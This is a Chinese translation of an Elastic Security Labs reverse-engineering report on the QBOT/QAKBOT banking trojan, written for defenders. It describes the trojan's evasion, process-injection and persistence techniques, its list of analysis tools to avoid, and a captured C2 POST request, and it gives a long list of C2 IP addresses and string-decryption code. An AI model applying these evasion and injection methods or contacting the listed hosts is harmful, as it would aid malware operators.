关键要点
- Elastic 安全实验室正在发布一份来自最近 活动 的 QBOT 恶意软件分析报告
- 本报告涵盖了从初始感染到与其命令和控制通信的执行链,其中包含有关其注入机制和动态持久性机制等深入功能的详细信息。
- 通过这项研究,我们制作了一个 YARA 规则、一个 配置提取器 和入侵指标 (IOC)
前言
作为我们构建关于针对机构和个人的最常见恶意软件家族知识使命的一部分,Elastic 恶意软件和逆向工程团队 (MARE) 完成了先前报告的 活动 中银行木马 QBOT/QAKBOT V4 核心组件的分析。
QBOT(也称为 QAKBOT)是一种自 2007 年以来一直活跃的模块化木马,用于在目标机器上下载和运行二进制文件。本文档描述了 QBOT V4 核心组件的深入逆向工程。它涵盖了二进制文件从启动到与其命令和控制 (C2) 通信的执行流程。
QBOT 是一种多阶段、多进程二进制文件,具有规避检测、提升权限、配置持久性和通过一组 IP 地址与 C2 通信的功能。C2 可以更新 QBOT、上传新的 IP 地址、上传和运行无文件二进制文件以及执行 shell 命令。
通过此分析,MARE 制作了一个基于 QBOT 核心组件的新 yara 规则,以及一个能够提取和解密其字符串、配置和 C2 IP 地址列表的静态配置提取器。
有关 QBOT 配置提取器和恶意软件分析的信息,请查看我们详细介绍此内容的博文
执行流程
本节描述了以下三个阶段中的 QBOT 执行流程
- 第一阶段:初始化
- 第二阶段:安装
- 第三阶段:通信
阶段 1
样本使用 regsvr32.exe 二进制文件执行,该文件反过来将调用 QBOT 的 DllRegisterServer 导出函数
执行后,QBOT 通过检查名为 C:\INTERNAL\__empty 的特定子目录是否存在来检查它是否在 Windows Defender 沙箱下运行,如果存在此文件夹,则恶意软件将自行终止
然后,恶意软件将枚举正在运行的进程以检测机器上的任何防病毒 (AV) 产品。下图包含 QBOT 对其做出反应的 AV 供应商列表
AV 检测不会阻止 QBOT 运行。但是,它将在后续阶段改变其行为。为了生成其伪随机数生成器 (PRNG) 的种子,QBOT 使用以下表达式生成计算机指纹
**fingerprint = CRC32(computerName + CVolumeSerialNumber + AccountName)**
如果 “C:” 卷不存在,则使用以下表达式代替
**fingerprint = CRC32(computerName + AccountName)**
最后,QBOT 将根据先前检测到的 AV 和机器架构选择一组注入目标
| | | | -------------------------- | ------------------------------------------------------------------------------------------------------------- | ---------------------- | ----------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------ | | 检测到的 AV 和架构 | 目标 | | BitDefender | Kaspersky | Sophos | TrendMicro | & x86 | %SystemRoot%\SysWOW64\mobsync.exe %SystemRoot%\SysWOW64\explorer.exe | | BitDefender | Kaspersky | Sophos | TrendMicro & x64 | %SystemRoot%\System32\mobsync.exe%SystemRoot%\explorer.exe%ProgramFiles%\Internet Explorer\iexplore.exe | | Avast | AVG | Windows Defender & x86 | %SystemRoot%\SysWOW64\OneDriveSetup.exe%SystemRoot%\SysWOW64\msra.exe%ProgramFiles(x86)%\Internet Explorer\iexplore.exe | | Avast | AVG | Windows Defender & x64 | %SystemRoot%\System32\OneDriveSetup.exe%SystemRoot%\System32\msra.exe | | x86 | '%SystemRoot%\explorer.exe%SystemRoot%\System32\msra.exe%SystemRoot%\System32\OneDriveSetup.exe | | x64 | %SystemRoot%\SysWOW64\explorer.exe%SystemRoot%\SysWOW64\msra.exe%SystemRoot%\System32\OneDriveSetup.exe |
QBOT 将尝试迭代地注入自身,使用其第二阶段作为入口点,注入其一个目标 - 如果注入失败,则选择下一个目标进程。以下是 QBOT 注入 explorer.exe 的示例。
阶段 2
QBOT 通过将二进制文件的内容保存在内存中,然后破坏磁盘上的文件来开始其第二阶段
然后,恶意软件从其一个资源部分加载其配置
如果在进程根目录中可用,QBOT 还可以加载来自 .cfg 文件的配置
加载配置后,QBOT 继续在机器上安装自身 - 最初是将其内部配置写入注册表
不久之后,QBOT 在 %APPDATA%\Microsoft 目录下创建了一个具有随机生成的名称的持久性子目录。此文件夹用于放置内存中的 QBOT 二进制文件,以便在重新引导后保持持久性
此时,该文件夹将为空,因为恶意软件仅在检测到关闭/重新引导事件时才会放置二进制文件。此“应急”二进制文件将在重新引导后删除。
QBOT 将尝试对所有用户执行相同的安装过程,并尝试在用户会话存在时在其中执行恶意软件,或者在目标用户的 CurrentVersion\Run 注册表项下创建一个值,以便在下次登录时启动恶意软件。我们的分析无法在更新的 Windows 10 机器上重现此行为。观察到的唯一工件是在用户 %APPDATA%\Microsoft 目录下创建的随机生成的持久性文件夹
QBOT 通过恢复其损坏二进制文件的内容并通过 Schtask 注册任务来完成其第二阶段,以在 NT AUTHORITY\SYSTEM 帐户下启动 QBOT 服务。
第一阶段有一个特殊的执行路径,如果进程在 SYSTEM 帐户下运行,则它将注册一个服务处理程序。然后,QBOT 服务照常执行阶段 2 和 3,再次破坏二进制文件并代表其他 QBOT 进程通过通过随机生成的命名管道接收的消息执行命令
阶段 3
QBOT 通过注册窗口和控制台事件处理程序来监视挂起/恢复和关闭/重新引导事件来开始其第三阶段。监视这些事件使恶意软件能够通过在持久性文件夹中放置 QBOT 二进制文件的副本并在 CurrentVersion\Run 注册表项下创建值来动态安装持久性
重新引导时,QBOT 将负责删除任何持久性工件。
恶意软件将继续创建看门狗线程,每秒钟对照硬编码的二进制文件列表监视正在运行的进程。如果任何进程匹配,则设置一个注册表值,该值随后将更改 QBOT 的行为,使其使用随机生成的 IP 地址而不是真实的 IP 地址,从而永远无法到达其命令和控制
frida-winjector-helper-32.exefrida-winjector-helper-64.exeTcpdump.exewindump.exeethereal.exewireshark.exeettercap.exertsniff.exepacketcapture.execapturenet.exeqak_proxy | dumpcap.exeCFF Explorer.exenot_rundll32.exeProcessHacker.exetcpview.exefilemon.exeprocmon.exeidaq64.exePETools.exeImportREC.exeLordPE.exe | SysInspector.exeproc_analyzer.exesysAnalyzer.exesniff_hit.exejoeboxcontrol.exejoeboxserver.exeResourceHacker.exex64dbg.exeFiddler.exesniff_hit.exesysAnalyzer.exe |
QBOT 然后将从其 .rsrc 文件和注册表中加载其域,因为从其 C2 收到的每个域更新都将是其写入注册表的配置的一部分。请参阅附录 A 中的提取的网络基础设施。
最后,恶意软件通过 HTTP 和 TLS 开始与 C2 通信。底层协议使用封装在加密消息中的 JSON 对象,然后进行 base64 编码
以下是 QBOT 发送到其 C2 的 HTTP POST 请求的示例
Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: 181.118.183.98
Content-Length: 77
Cache-Control: no-cache
qxlbjrbj=NnySaFAKLt+YgjH3UET8U6AUwT9Lg51z6zC+ufeAjt4amZAXkIyDup74MImUA4do4Q==
通过此通信通道,QBOT 从 C2 接收命令 - 请参阅附录 B(命令处理程序)。除了管理命令(更新、配置旋钮)之外,我们的样本仅处理与二进制文件执行相关的命令,但我们知道恶意软件是模块化的,并且可以使用其他功能构建,例如 VNC 服务器、反向 shell 服务器、代理支持(成为域列表的一部分)以及许多其他功能是可行的。
功能
梅森旋转随机数生成器
QBOT 使用 梅森旋转随机数生成器 (MTRNG) 的实现来生成随机值
然后,各种函数使用 MTRNG 引擎生成不同类型的数据,例如生成注册表项值和持久性文件夹。由于 QBOT 需要重现值,因此它几乎总是使用计算机指纹和特定于其要生成的值的“盐”
字符串混淆
所有QBOT字符串都使用XOR加密并连接到一个我们称为“字符串库”的单个数据块中。为了获取特定的字符串,恶意软件需要一个字符串标识符(标识符是字符串库中的偏移量)、一个解密密钥和目标字符串库。
由于此样本有两个字符串库,因此它具有四个**GetString**'函数,这些函数将字符串库和解密密钥参数作为参数:每个字符串库一个C字符串函数和一个宽字符串函数。宽字符串函数使用相同的字符串库,但将数据转换为**utf-16**。
参见附录C(字符串解密实现)。
导入混淆
QBOT使用哈希表解析其导入。
恶意软件通过其GetString函数解析库名称,然后通过手动解析、将每个导出与预期哈希进行比较来解析库的经典导出哈希表。在此示例中,哈希比较算法使用以下公式
**CRC32(exportName) XOR 0x218fe95b == hash**
资源混淆
恶意软件嵌入不同的资源,常见的是配置和域名列表。资源的加密方式相同:解密密钥可以嵌入到数据块中或提供。解密资源后,将使用嵌入的哈希值检查数据有效性。
参见附录D(资源解密实现)。
西里尔字母键盘语言检测
在不同的阶段,QBOT会检查计算机是否使用西里尔字母语言键盘。如果是,它将阻止进一步执行。
AVG/AVAST特殊行为
AVG和Avast共享相同的防病毒引擎。因此,如果QBOT检测到其中一个防病毒软件正在运行,它还将在安装阶段检查其DLL之一是否加载到恶意软件内存空间中。如果是,QBOT将跳过安装阶段。
Windows Defender特殊行为
如果QBOT在**SYSTEM**帐户下运行,它会将持久性文件夹添加到注册表中的Windows Defender排除路径。如果检测到旧版Microsoft Security Essential (MSE),它也会对旧版Microsoft Security Essential (MSE)排除路径执行此操作。
异常列表进程看门狗
每秒,QBOT都会解析正在运行的进程,查找与硬编码异常列表匹配的进程。如果找到任何匹配项,则在注册表中设置“熔断”值,并且看门狗停止。如果设置了此熔断值,QBOT将不会停止执行,但在第三阶段,恶意软件将使用随机生成的IP,并且将无法联系C2。
![QBOT使用随机生成的IP地址(如果设置了熔断)]/assets/images/qbot-malware-analysis/1qbot.png)
QBOT进程注入
第二阶段注入
为了将其第二阶段注入到硬编码目标之一,QBOT使用经典的**CreateProcess**、**WriteProcessMemory**、**ResumeProcess** DLL注入技术。恶意软件将创建一个进程,在进程内存中分配并写入QBOT二进制文件,写入其引擎的副本,并修补入口点以跳转到特殊函数。此函数执行QBOT及其引擎在新进程环境中的轻量级初始化,向主进程发出成功警报,然后执行第二阶段。
![QBOT第二阶段注入]/assets/images/qbot-malware-analysis/2qbot.png)
![QBOT注入入口点]/assets/images/qbot-malware-analysis/3qbot.jpg)
从命令和控制注入库
QBOT使用上述方法注入从C2接收到的库。不同之处在于,除了映射自身之外,恶意软件还将映射接收到的二进制文件,并使用库加载程序作为入口点。
![QBOT DLL加载程序注入]/assets/images/qbot-malware-analysis/4qbot.jpg)
多用户安装
QBOT安装过程的一部分是在其他用户的帐户中安装自身。为此,恶意软件枚举机器上每个具有帐户的用户(本地和域),然后将其配置转储到用户的**Software\Microsoft**注册表项下,在用户的**%APPDATA%\Microsoft**文件夹下创建持久性文件夹,最后尝试在用户会话下启动QBOT(如果会话存在),否则创建运行键,以便在用户登录时启动恶意软件。
动态持久性
QBOT注册一个窗口处理程序来监视挂起/恢复事件。发生这些事件时,恶意软件将安装/卸载持久性。
![QBOT窗口处理程序注册]/assets/images/qbot-malware-analysis/7qbot.png)
![QBOT窗口处理程序捕获挂起/恢复事件]/assets/images/qbot-malware-analysis/8qbot.png)
QBOT还注册了一个控制台事件来处理关机/重启事件。
命令和控制公钥固定
QBOT具有一个机制来验证从其命令和控制接收到的每条消息的签名。验证机制基于样本中嵌入的公钥。此公钥可用于识别样本所属的活动,但此机制可能并不总是存在。
![QBOT命令和控制消息处理]/assets/images/qbot-malware-analysis/1qbot.png)
![使用硬编码命令和控制公钥验证消息签名]/assets/images/qbot-malware-analysis/2qbot.png)
公钥来自硬编码的XOR加密数据块。
![硬编码命令和控制公钥正在进行XOR解密]/assets/images/qbot-malware-analysis/3qbot.jpg)
计算机信息收集
QBOT与其命令和控制通信的一部分是发送有关计算机的信息。信息通过一组Windows API调用、shell命令和Windows Management Instrumentation (WMI)命令收集
![计算机信息收集1/2]/assets/images/qbot-malware-analysis/4qbot.jpg)
列出通过WMI安装的防病毒软件的一个特别有趣的过程
更新机制
QBOT可以从其命令和控制接收更新。新二进制文件将写入磁盘,通过命令行执行,并且主进程将终止。
![QBOT写入磁盘并运行更新的二进制文件]/assets/images/qbot-malware-analysis/7qbot.png)
![如果更新正在运行,QBOT停止执行]/assets/images/qbot-malware-analysis/8qbot.png)
进程注入管理器
QBOT有一个系统来跟踪使用从其命令和控制接收到的二进制文件注入的进程,以便在恶意软件收到后续命令时管理它们。它还有一种方法可以序列化和保存这些二进制文件,以防它必须停止执行并在重新启动时恢复执行。
为了进行此簿记,QBOT维护两个全局结构——从其命令和控制接收到的所有二进制文件的列表,以及正在运行的注入进程的列表
结论
由于其功能和强大的模块化系统,QBOT恶意软件家族在2022年仍然非常活跃,并且仍然是威胁格局的一部分。虽然最初在2007年被归类为信息窃取程序,但此家族已被用作其他恶意软件和入侵后活动的交付机制。
Elastic Security提供针对此威胁的开箱即用的预防功能。现有的Elastic Security用户可以在产品中访问这些功能。如果您是Elastic Security的新用户,请查看我们的快速入门指南(分步式培训视频,帮助您快速入门)或我们的免费基础知识培训课程。您始终可以开始使用Elastic Cloud的免费14天试用版。
MITRE ATT&CK战术和技术
MITRE ATT&CK是基于现实世界观察的攻击者战术和技术的全球可访问知识库。ATT&CK知识库被用作私营部门、政府以及网络安全产品和服务社区中特定威胁模型和方法开发的基础。
战术
战术代表技术或子技术的“为什么”。它是攻击者的战术目标:执行操作的原因。
技术/子技术
技术和子技术代表攻击者如何通过执行操作来实现战术目标。
- 技术:进程注入 (T1055)
- 技术:修改注册表 (T1112)
- 技术:混淆的文件或信息 (T1027)
- 技术:混淆的文件或信息:从工具中删除指示器 (T1027.005)
- 技术:系统二进制代理执行:Regsvr32 (T1218.010)
技术:应用程序窗口发现 (T1010) - 技术:文件和目录发现 (T1083)
- 技术:系统信息发现 (T1082)
- 技术:系统位置发现 (T1614)
- 技术:软件发现:安全软件发现 (T1518.001)
- 技术:系统所有者/用户发现 (T1033)
- 技术:应用层协议:Web协议 (T1071.001)
观察结果
虽然不够具体,无法被视为入侵指标,但在分析过程中观察到以下信息,这在调查可疑事件时可能会有所帮助。
文件系统
持久性文件夹
**%APPDATA%\Microsoft\[Random Folder]**
示例
**C:\Users\Arx\AppData\Roaming\Microsoft\Vuhys**
注册表
扫描排除
**HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\[Persistence Folder]**
示例
**HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Arx\AppData\Roaming\Microsoft\Blqgeaf**
配置
配置
**HKU\[User SID]\Software\Microsoft\[Random Key]\[Random Value 0]**
示例
**HKU\S-1-5-21-2844492762-1358964462-3296191067-1000\Software\Microsoft\Silhmfua\28e2a7e8**
附录
附录A(提取的网络基础设施)
1.161.71.109:4431.161.71.109:995100.1.108.246:443101.50.103.193:995102.182.232.3:995103.107.113.120:443103.139.243.207:990103.246.242.202:443103.87.95.133:2222103.88.226.30:443105.226.83.196:995108.60.213.141:443109.12.111.14:443109.228.220.196:443113.11.89.165:995117.248.109.38:21120.150.218.241:995120.61.2.95:443121.74.167.191:995125.168.47.127:2222138.204.24.70:443140.82.49.12:443140.82.63.183:443140.82.63.183:995143.0.34.185:443144.202.2.175:443144.202.2.175:995144.202.3.39:443144.202.3.39:995148.64.96.100:443149.28.238.199:443149.28.238.199:995172.114.160.81:995172.115.177.204:2222173.174.216.62:443173.21.10.71:2222174.69.215.101:443175.145.235.37:443176.205.119.81:2078176.67.56.94:443176.88.238.122:995179.158.105.44:443180.129.102.214:995180.183.128.80:2222181.118.183.98:443181.208.248.227:443181.62.0.59:443182.191.92.203:995182.253.189.74:2222185.69.144.209:443 | 186.105.121.166:443187.102.135.142:2222187.207.48.194:61202187.250.114.15:443187.251.132.144:22190.252.242.69:443190.73.3.148:2222191.17.223.93:32101191.34.199.129:443191.99.191.28:443196.233.79.3:80197.167.62.14:993197.205.127.234:443197.89.108.252:4432.50.137.197:443201.145.189.252:443201.211.64.196:2222202.134.152.2:2222203.122.46.130:443208.107.221.224:443209.197.176.40:995217.128.122.65:2222217.164.210.192:443217.165.147.83:99324.178.196.158:222224.43.99.75:44331.35.28.29:44331.48.166.122:207832.221.224.140:99537.186.54.254:99537.34.253.233:44338.70.253.226:222239.41.158.185:99539.44.144.159:99539.52.75.201:99539.57.76.82:99540.134.246.185:99541.228.22.180:44341.230.62.211:99341.38.167.179:99541.84.237.10:99542.235.146.7:222245.241.232.25:99545.46.53.140:222245.63.1.12:44345.63.1.12:99545.76.167.26:44345.76.167.26:99545.9.20.200:44346.107.48.202:443 | 47.156.191.217:44347.180.172.159:44347.180.172.159:5001047.23.89.62:99347.23.89.62:9955.32.41.45:4435.95.58.211:208766.98.42.102:44367.209.195.198:44368.204.7.158:44370.46.220.114:44370.51.138.126:222271.13.93.154:222271.74.12.34:44372.12.115.90:2272.252.201.34:99572.76.94.99:44373.151.236.31:44373.67.152.98:222274.15.2.252:222275.113.214.234:222275.99.168.194:44375.99.168.194:6120176.169.147.192:3210376.25.142.196:44376.69.155.202:222276.70.9.169:222278.87.206.213:99580.11.74.81:222281.215.196.174:44382.152.39.39:44383.110.75.97:222284.241.8.23:3210385.246.82.244:44386.97.11.43:44386.98.208.214:222286.98.33.141:44386.98.33.141:99588.228.250.126:44389.211.181.64:222290.120.65.153:207891.177.173.10:99592.132.172.197:222293.48.80.198:99594.36.195.250:222294.59.138.62:119494.59.138.62:222296.21.251.127:222296.29.208.97:44396.37.113.36:993 |
附录B(命令处理程序)
ID | 处理程序 |
---|---|
0x1 | MARE::rpc::handler::CommunicateWithC2 |
0x6 | MARE::rpc::handler::EnableGlobalRegistryConfigurationValuek0x14 |
0x7 | MARE::rpc::handler::DisableGlobalRegistryConfigurationValuek0x14 |
0xa | MARE::rpc::handler::KillProcess |
0xc | MARE::rpc::handler::SetBunchOfGlobalRegistryConfigurationValuesAndTriggerEvent1 |
0xd | MARE::rpc::handler::SetBunchOfGlobalRegistryConfigurationValuesAndTriggerEvent0 |
0xe | MARE::rpc::handler::DoEvasionMove |
0x12 | MARE::rpc::handler::NotImplemented |
0x13 | MARE::rpc::handler::UploadAndRunUpdatedQBOT0 |
0x14 | MARE::rpc::handler::Unk0 |
0x15 | MARE::rpc::handler::Unk1 |
0x19 | MARE::rpc::handler::UploadAndExecuteBinary |
0x1A | MARE::rpc::handler::UploadAndInjectDll0 |
0x1B | MARE::rpc::handler::DoInjectionFromDllToInjectByStr |
0x1C | MARE::rpc::handler::KillInjectedProcessAndDisableDllToInject |
0x1D | MARE::rpc::handler::Unk3 |
0x1E | MARE::rpc::handler::KillInjectedProcessAndDoInjectionAgainByStr |
0x1F | MARE::rpc::handler::FastInjectdll |
0x21 | MARE::rpc::handler::ExecuteShellCmd |
0x23 | MARE::rpc::handler::UploadAndInjectDll1 |
0x24 | MARE::rpc::handler::UploadAndRunUpdatedQBOT1 |
0x25 | MARE::rpc::handler::SetValueToGlobalRegistryConfiguration |
0x26 | MARE::rpc::handler::DeleteValueFromGlobalRegistryConfiguration |
0x27 | MARE::rpc::handler::ExecutePowershellCmd |
0x28 | MARE::rpc::handler::UploadAndRunDllWithRegsvr32 |
0x29 | MARE::rpc::handler::UploadAndRunDllWithRundll32 |
附录 C(字符串解密实现)
def decipher_strings(data: bytes, key: bytes) -> bytes:
result = dict()
current_index = 0
current_string = list()
for i in range(len(data)):
current_string.append(data[i] ^ key[i % len(key)])
if data[i] == key[i % len(key)]:
result[current_index] = bytes(current_string)
current_string = list()
current_index = i + 1
return result
附录 D(资源解密实现)
from Crypto.Cipher import ARC4
from Crypto.Hash import SHA1
def decipher_data(data: bytes, key: bytes) -> tuple[bytes, bytes]:
data = ARC4.ARC4Cipher(SHA1.SHA1Hash(key).digest()).decrypt(data)
return data[20:], data[:20]
def verify_hash(data: bytes, expected_hash: bytes) -> bool:
return SHA1.SHA1Hash(data).digest() == expected_hash
def decipher_rsrc(rsrc: bytes, key: bytes) -> bytes:
deciphered_rsrc, expected_hash = decipher_data(rsrc[20:], rsrc[:20])
if not verify_hash(deciphered_rsrc, expected_hash):
deciphered_rsrc, expected_hash = decipher_data(rsrc, key)
if not verify_hash(deciphered_rsrc, expected_hash):
raise RuntimeError('Failed to decipher rsrc: Mismatching hashes.')
return deciphered_rsrc